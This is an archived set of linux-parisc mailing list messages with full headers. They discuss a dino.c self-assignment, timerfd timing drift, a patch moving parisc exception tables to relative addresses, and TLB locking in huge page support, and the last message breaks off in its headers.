> Line 474 of drivers/parisc/dino.c reads
> 
>         res->name = dino_dev->hba.lmmio_space.name;
> 
> but res is &dino_dev->hba.lmmio_space, so this seems to just assign NULL
> again to res->name. Presumably the allocation of <= 128 bytes never
> fails, but I wonder what the purpose was, and if the confusing else
> branch couldn't just be deleted (and then one should just do res->name =
> kmemdup(name, size+1, GFP_KERNEL); and delete the if as well).

I'd suggest to just delete the else branch.
Do you want to send a patch with signed-off ?

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: self-assignment in dino_card_setup
Date: Tue, 29 Dec 2015 12:51:54 -0800
Lines: 31
Approved: news@gmane.org
Message-ID: <1451422314.2346.6.camel@HansenPartnership.com>
References: <87k2nx3tuz.fsf@rasmusvillemoes.dk> <5682EB8B.30308@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1451422335 5616 80.91.229.3 (29 Dec 2015 20:52:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Dec 2015 20:52:15 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>,
	Rasmus Villemoes <linux@rasmusvillemoes.dk>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 29 21:52:03 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aE1FQ-0003UF-1B
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 Dec 2015 21:52:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753718AbbL2Uv7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Dec 2015 15:51:59 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:58156 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753613AbbL2Uv6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Dec 2015 15:51:58 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id B3E0B8EE40F;
	Tue, 29 Dec 2015 12:51:57 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=20151216; t=1451422317;
	bh=jpPNc1k2H7zGjbcwpz1E00MVA162x3OxhplG+kBViyg=;
	h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
	b=rmz/hwqJm7jM8ca1yfGYeqgdGp7i3mj0GBMIIcPvw6zIyRH5EHS5GEUCa3nOG99DC
	 cygEICH9ELMWZ//IObMrOUIyWz/n8YFwZCnOmyMH2IyNpK+pJ9Zy5Hn4W1Z3k+burl
	 DC8JE/VwUdkxpepsLe0PGgrD8rFLyrcqeS8wjn5U=
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id EqNty1wwhAmj; Tue, 29 Dec 2015 12:51:57 -0800 (PST)
Original-Received: from [153.66.254.194] (unknown [184.11.141.41])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 838688EE0A2;
	Tue, 29 Dec 2015 12:51:55 -0800 (PST)
In-Reply-To: <5682EB8B.30308@gmx.de>
X-Mailer: Evolution 3.16.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26294
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26294>

On Tue, 2015-12-29 at 21:22 +0100, Helge Deller wrote:
> Hi Rasmus,
> 
> On 29.12.2015 21:03, Rasmus Villemoes wrote:
> > Line 474 of drivers/parisc/dino.c reads
> > 
> >         res->name = dino_dev->hba.lmmio_space.name;
> > 
> > but res is &dino_dev->hba.lmmio_space, so this seems to just assign
> > NULL
> > again to res->name. Presumably the allocation of <= 128 bytes never
> > fails, but I wonder what the purpose was, and if the confusing else
> > branch couldn't just be deleted (and then one should just do res
> > ->name =
> > kmemdup(name, size+1, GFP_KERNEL); and delete the if as well).
> 
> I'd suggest to just delete the else branch.
> Do you want to send a patch with signed-off ?

Actually, I'd guess the intention was to put back whatever the contents
of lmmio_space.name originally was ... it's usually some default static
string.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: timerfd_settime/timerfd_gettime issue ?
Date: Wed, 30 Dec 2015 10:57:56 +0100 (CET)
Lines: 31
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.11.1512301052520.28591@nanos>
References: <567E8766.6020707@gmx.de> <alpine.DEB.2.11.1512291027570.28591@nanos> <5682E96A.5040008@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1451469540 15847 80.91.229.3 (30 Dec 2015 09:59:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 30 Dec 2015 09:59:00 +0000 (UTC)
Cc: Linux Kernel Development <linux-kernel@vger.kernel.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 30 10:58:55 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aEDWw-0002fl-NW
	for glpp-linux-parisc@plane.gmane.org; Wed, 30 Dec 2015 10:58:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753628AbbL3J6y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 30 Dec 2015 04:58:54 -0500
Original-Received: from www.linutronix.de ([62.245.132.108]:44117 "EHLO
	Galois.linutronix.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752407AbbL3J6x (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 30 Dec 2015 04:58:53 -0500
Original-Received: from localhost ([127.0.0.1])
	by Galois.linutronix.de with esmtps (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:256)
	(Exim 4.80)
	(envelope-from <tglx@linutronix.de>)
	id 1aEDWt-00038h-3A; Wed, 30 Dec 2015 10:58:51 +0100
In-Reply-To: <5682E96A.5040008@gmx.de>
User-Agent: Alpine 2.11 (DEB 23 2013-08-11)
X-Linutronix-Spam-Score: -1.0
X-Linutronix-Spam-Level: -
X-Linutronix-Spam-Status: No , -1.0 points, 5.0 required,  ALL_TRUSTED=-1,SHORTCIRCUIT=-0.0001
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26295 gmane.linux.kernel:2116407
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26295>

On Tue, 29 Dec 2015, Helge Deller wrote:
> No, the patch below doesn't help.
> 
> I still see:
> [  644.916000] timerfd_settime: interval (sec=0, nsec=100000000) it_value (sec=0, nsec=100000000) 
> [  645.024000] timerfd_gettime: interval (sec=0, nsec=100000000) it_value (sec=0, nsec=103029949) 
> 

Right. It can't help. Sorry for the distraction.

Looking deeper I found the issue. It's caused by CONFIG_TIME_LOW_RES. See the
comment in hrtimer_start_range_ns(). We round the expiry time to the next
jiffies period to avoid short timeouts. Assuming you are running with HZ=250
this is exactly 4ms. So that's where your extra time comes from.

Not sure what to do about that.

Thanks,

	tglx






--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:38:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Use relative addresses in exception tables
Date: Mon, 4 Jan 2016 22:12:47 +0100
Lines: 89
Approved: news@gmane.org
Message-ID: <20160104211247.GA25146@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1451941986 18344 80.91.229.3 (4 Jan 2016 21:13:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Jan 2016 21:13:06 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 04 22:12:59 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aGCR0-0005Kl-VN
	for glpp-linux-parisc@plane.gmane.org; Mon, 04 Jan 2016 22:12:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752012AbcADVM6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Jan 2016 16:12:58 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:62797 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751523AbcADVM5 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Jan 2016 16:12:57 -0500
Original-Received: from ls3530.box ([92.203.21.165]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0MVui8-1aiiiJ0qds-00X6yQ; Mon, 04 Jan 2016 22:12:51
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:N/5kRKZdB2hWHciDbl1eRJSupeRZubzzcnXmORhPLmOW/YqkJzn
 yK6sLwSWSpV0K7cnLGvqXGusYdHqnWa/qfhaVGAJ6dW9Q6kYeg90FnP7m8gF2mffaRa06cQ
 BjYBJ2dP7UOvSOXC62gnvrWIlBjbAO58+17ppCgGLyRIcQkYv+d13YeYQkQ4752wJ1olVcN
 JqqZQ0PO/OyOgEZ1rSpWA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:R5qtLzD80ik=:me/gxv0paY78OMI7HSj7CV
 HFE/LiPxQ6Y581kUw35xtEu6uPKnfNzg3esRTAn+tlujGnF578blgh7WEP9NJABTDBtSYJ3i+
 OhAN1w0V9hz0VlgeLNjgGDr9RYQvPvdigKr/7+g8ES++38Se+vH7omTuRRDbEBJVpbuthPXmG
 Mh8phutEnrbnYMhY5k4B5lzWvgHDo2ZmEDvurVLDgkNaDgcZ0Ot1kGJJ+sCPRuO1eOnMF67zD
 t6RSp37+gumbUOfKNYiRbj3BqSa1kyHnKJ2arkD0TNmdBTUfGzVXsPHY8a++KYg0AnkAEEKWP
 Y7B2OMjkc/o3QOHb1wDuA+6jCfj3JI5s/BTAmTCyrxnhL1Fl9+N4fB957BCC2BPMCUldBKkpn
 sGKtsF78m+YFnO12EmiSo/fAZP6DylaS9Xkt6Opy4AbiYqzQg3ZKYWC6D+9fm3zjpFoaYL1Y6
 rqpQmvQ33w6v8h3IA3xelIdcpRee0/fTb/1kmAI3gs0IptljNdxWQt/62nR9+92fL/gmGD2da
 IgfHXHstxwgd7waUSfZFLHuzxXEckIIoWmfQ8Rf1E7cXO47Kletuc5mERst4fjQjwh1EllLBL
 oJzqSzJPX35lF+9vHmd8upEi5YypsoBMpCFMoAgqgfcs9ZkEMlEg0AWo6MMmj/V85zd2d3ePD
 AL/lrRo+f70ybStiOPr/bPVSB4NgLxAmjdis/qYUjZvkEl4cM0hdFI/TZBwXII0SEQEFJuUur
 ZzDUpGNtNgf0AZnjDXa79jBPib9jEN8gWkUwlP631xxjKJgAeywHui0k8fA=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26297
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26297>

Change exception tables to use relative instead of absolute addresses.
This saves quite some memory in the vmlinux binary with the 64bit
kernel.

This patch depends on the patch series "generic relative extable
support" by Ard Biesheuvel <ard.biesheuvel@linaro.org>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/assembly.h b/arch/parisc/include/asm/assembly.h
index b3069fd..d6a2458 100644
--- a/arch/parisc/include/asm/assembly.h
+++ b/arch/parisc/include/asm/assembly.h
@@ -523,7 +523,7 @@
 	 */
 #define ASM_EXCEPTIONTABLE_ENTRY(fault_addr, except_addr)	\
 	.section __ex_table,"aw"			!	\
-	ASM_ULONG_INSN	fault_addr, except_addr		!	\
+	.word 	(fault_addr - .), (except_addr - .)	!	\
 	.previous
 
 
diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index 0abdd4c..d4dd6e5 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -60,14 +60,15 @@ static inline long access_ok(int type, const void __user * addr,
  * use a 32bit (unsigned int) address here.
  */
 
+#define ARCH_HAS_RELATIVE_EXTABLE
 struct exception_table_entry {
-	unsigned long insn;	/* address of insn that is allowed to fault. */
-	unsigned long fixup;	/* fixup routine */
+	int insn;	/* relative address of insn that is allowed to fault. */
+	int fixup;	/* relative address of fixup routine */
 };
 
 #define ASM_EXCEPTIONTABLE_ENTRY( fault_addr, except_addr )\
 	".section __ex_table,\"aw\"\n"			   \
-	ASM_WORD_INSN #fault_addr ", " #except_addr "\n\t" \
+	".word (" #fault_addr " - .), (" #except_addr " - .)\n\t" \
 	".previous\n"
 
 /*
diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index a762864..26fac9c 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -140,12 +140,6 @@ int fixup_exception(struct pt_regs *regs)
 {
 	const struct exception_table_entry *fix;
 
-	/* If we only stored 32bit addresses in the exception table we can drop
-	 * out if we faulted on a 64bit address. */
-	if ((sizeof(regs->iaoq[0]) > sizeof(fix->insn))
-		&& (regs->iaoq[0] >> 32))
-			return 0;
-
 	fix = search_exception_tables(regs->iaoq[0]);
 	if (fix) {
 		struct exception_data *d;
@@ -154,7 +148,8 @@ int fixup_exception(struct pt_regs *regs)
 		d->fault_space = regs->isr;
 		d->fault_addr = regs->ior;
 
-		regs->iaoq[0] = ((fix->fixup) & ~3);
+		regs->iaoq[0] = (unsigned long)&fix->fixup + fix->fixup;
+		regs->iaoq[0] &= ~3;
 		/*
 		 * NOTE: In some cases the faulting instruction
 		 * may be in the delay slot of a branch. We
diff --git a/scripts/sortextable.c b/scripts/sortextable.c
index af247c7..2944391 100644
--- a/scripts/sortextable.c
+++ b/scripts/sortextable.c
@@ -283,6 +283,7 @@ do_file(char const *const fname)
 	case EM_X86_64:
 	case EM_S390:
 	case EM_AARCH64:
+	case EM_PARISC:
 		custom_sort = sort_relative_table;
 		break;
 	case EM_ARCOMPACT:
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] parisc huge page support for v4.4
Date: Mon, 4 Jan 2016 16:24:57 -0500 (EST)
Lines: 37
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1601041619070.20474@file01.intranet.prod.int.rdu2.redhat.com>
References: <20151122115153.GA28471@p100.box> <alpine.LRH.2.02.1511241014280.9586@file01.intranet.prod.int.rdu2.redhat.com> <5654892D.1030707@gmx.de> <alpine.LRH.2.02.1511241136440.14442@file01.intranet.prod.int.rdu2.redhat.com> <20151124170020.GA13198@p100.box>
 <alpine.LRH.2.02.1511241343200.30334@file01.intranet.prod.int.rdu2.redhat.com> <alpine.LRH.2.02.1512260645560.7692@file01.intranet.prod.int.rdu2.redhat.com> <567E88BA.4010607@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1451942703 29901 80.91.229.3 (4 Jan 2016 21:25:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Jan 2016 21:25:03 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 04 22:25:02 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aGCcf-00061V-GC
	for glpp-linux-parisc@plane.gmane.org; Mon, 04 Jan 2016 22:25:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752012AbcADVZB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Jan 2016 16:25:01 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:38932 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751523AbcADVZA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Jan 2016 16:25:00 -0500
Original-Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26])
	by mx1.redhat.com (Postfix) with ESMTPS id 0E70949DC4;
	Mon,  4 Jan 2016 21:24:59 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u04LOwlo011588
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Mon, 4 Jan 2016 16:24:59 -0500
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id u04LOwrT023936;
	Mon, 4 Jan 2016 16:24:58 -0500
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id u04LOvxM023907;
	Mon, 4 Jan 2016 16:24:57 -0500
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <567E88BA.4010607@gmx.de>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26298 gmane.linux.kernel:2118313
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26298>



On Sat, 26 Dec 2015, Helge Deller wrote:

> On 26.12.2015 13:09, Mikulas Patocka wrote:
> 
> > BTW. I looked at this in arch/parisc/mm/hugetlbpage.c:set_huge_pte_at 
> > "*ptep = entry;" and it seems like a bad bug. PA-RISC doesn't have atomic 
> > instructions to modify page table entries, so it takes spinlock in the TLB 
> > handler and modifies the page table entry non-atomically. If you modify 
> > the page table entry without the spinlock, you may race with TLB handler 
> > on another CPU and your modification may be lost.
> 
> Right.
> 
> > The comment says something about double locking on pa_tlb_lock, but 
> > pa_tlb_lock isn't held when that function is called.
> 
> I have a work-in-progress patch for that in one of my trees, e.g.:
> http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/commit/?h=parisc-next&id=5c76b525cbdb097401f46522b27b1eb6244f34f9
> It's lightly tested though.
> 
> Helge

I tested the patch and it works OK for me so far.

BTW. what happens if some kernel code takes the TLB spinlock and then TLB 
miss in kernel space happens? (it would attempt to lock the spinlock 
recursively) Is it assumed that the TLB is big enough that this can't 
happen?

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] parisc huge page support for v4.4
Date: Mon, 4 Jan 2016 16:48:11 -0500
Lines: 41
Approved: news@gmane.org
Message-ID: <568AE89B.9030606@bell.net>
References: <20151122115153.GA28471@p100.box>
 <alpine.LRH.2.02.1511241014280.9586@file01.intranet.prod.int.rdu2.redhat.com>
 <5654892D.1030707@gmx.de>
 <alpine.LRH.2.02.1511241136440.14442@file01.intranet.prod.int.rdu2.redhat.com>
 <20151124170020.GA13198@p100.box>
 <alpine.LRH.2.02.1511241343200.30334@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1512260645560.7692@file01.intranet.prod.int.rdu2.redhat.com>
 <567E88BA.4010607@gmx.de>
 <alpine.LRH.2.02.1601041619070.20474@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1451944102 19400 80.91.229.3 (4 Jan 2016 21:48:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Jan 2016 21:48:22 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Mikulas Patocka <mpatocka@redhat.com>, Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 04 22:48:15 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aGCz8-0004Ri-MV
	for glpp-linux-parisc@plane.gmane.org; Mon, 04 Jan 2016 22:48:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752373AbcADVsO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Jan 2016 16:48:14 -0500
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:38119 "EHLO
	mtlfep02.bell.net" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752265AbcADVsN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Jan 2016 16:48:13 -0500
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20160104214811.WGJB29275.mtlfep02.bell.net@mtlspm01.bell.net>;
          Mon, 4 Jan 2016 16:48:11 -0500
Original-Received: from [192.168.0.114] (really [64.231.93.35]) by mtlspm01.bell.net
          with ESMTP
          id <20160104214811.EKZB4210.mtlspm01.bell.net@[192.168.0.114]>;
          Mon, 4 Jan 2016 16:48:11 -0500
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101
 Thunderbird/38.4.0
In-Reply-To: <alpine.LRH.2.02.1601041619070.20474@file01.intranet.prod.int.rdu2.redhat.com>
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020204.568AE89B.01D5,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26299 gmane.linux.kernel:2118336
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26299>

On 2016-01-04 4:24 PM, Mikulas Patocka wrote:
>
> On Sat, 26 Dec 2015, Helge Deller wrote:
>
>> On 26.12.2015 13:09, Mikulas Patocka wrote:
>>
>>> BTW. I looked at this in arch/parisc/mm/hugetlbpage.c:set_huge_pte_at
>>> "*ptep = entry;" and it seems like a bad bug. PA-RISC doesn't have atomic
>>> instructions to modify page table entries, so it takes spinlock in the TLB
>>> handler and modifies the page table entry non-atomically. If you modify
>>> the page table entry without the spinlock, you may race with TLB handler
>>> on another CPU and your modification may be lost.
>> Right.
>>
>>> The comment says something about double locking on pa_tlb_lock, but
>>> pa_tlb_lock isn't held when that function is called.
>> I have a work-in-progress patch for that in one of my trees, e.g.:
>> http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/commit/?h=parisc-next&id=5c76b525cbdb097401f46522b27b1eb6244f34f9
>> It's lightly tested though.
>>
>> Helge
> I tested the patch and it works OK for me so far.
>
> BTW. what happens if some kernel code takes the TLB spinlock and then TLB
> miss in kernel space happens? (it would attempt to lock the spinlock
> recursively) Is it assumed that the TLB is big enough that this can't
> happen?
No.  If you look at the TLB handler, you will see that locking is not 
done for misses in
kernel space.  So, this deadlock doesn't occur.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: timerfd_settime/timerfd_gettime issue ?
Date: Mon, 4 Jan 2016 23:27:57 +0100
Lines: 57
Approved: news@gmane.org
Message-ID: <20160104222757.GA969@p100.box>
References: <567E8766.6020707@gmx.de>
 <alpine.DEB.2.11.1512291027570.28591@nanos>
 <5682E96A.5040008@gmx.de>
 <alpine.DEB.2.11.1512301052520.28591@nanos>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1451946512 25550 80.91.229.3 (4 Jan 2016 22:28:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Jan 2016 22:28:32 +0000 (UTC)
Cc: Linux Kernel Development <linux-kernel@vger.kernel.org>
To: Thomas Gleixner <tglx@linutronix.de>, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 04 23:28:21 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aGDbw-00082a-4k
	for glpp-linux-parisc@plane.gmane.org; Mon, 04 Jan 2016 23:28:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
